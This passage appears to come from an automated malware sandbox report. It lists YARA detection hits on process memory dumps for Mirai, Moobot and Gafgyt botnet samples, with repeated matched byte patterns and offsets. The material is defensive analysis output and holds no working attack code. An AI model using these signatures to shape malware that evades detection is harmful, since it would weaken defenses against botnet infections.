46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7332.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6639.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6639.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6639.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6639.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6639.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6639.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7018.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7018.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7018.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7018.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7018.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7018.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6992.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6992.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6992.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6992.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6992.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6992.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6572.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6599.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6393.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6837.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7396.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7396.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7396.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6418.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6418.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6418.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6252.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7121.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7121.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7121.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7121.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
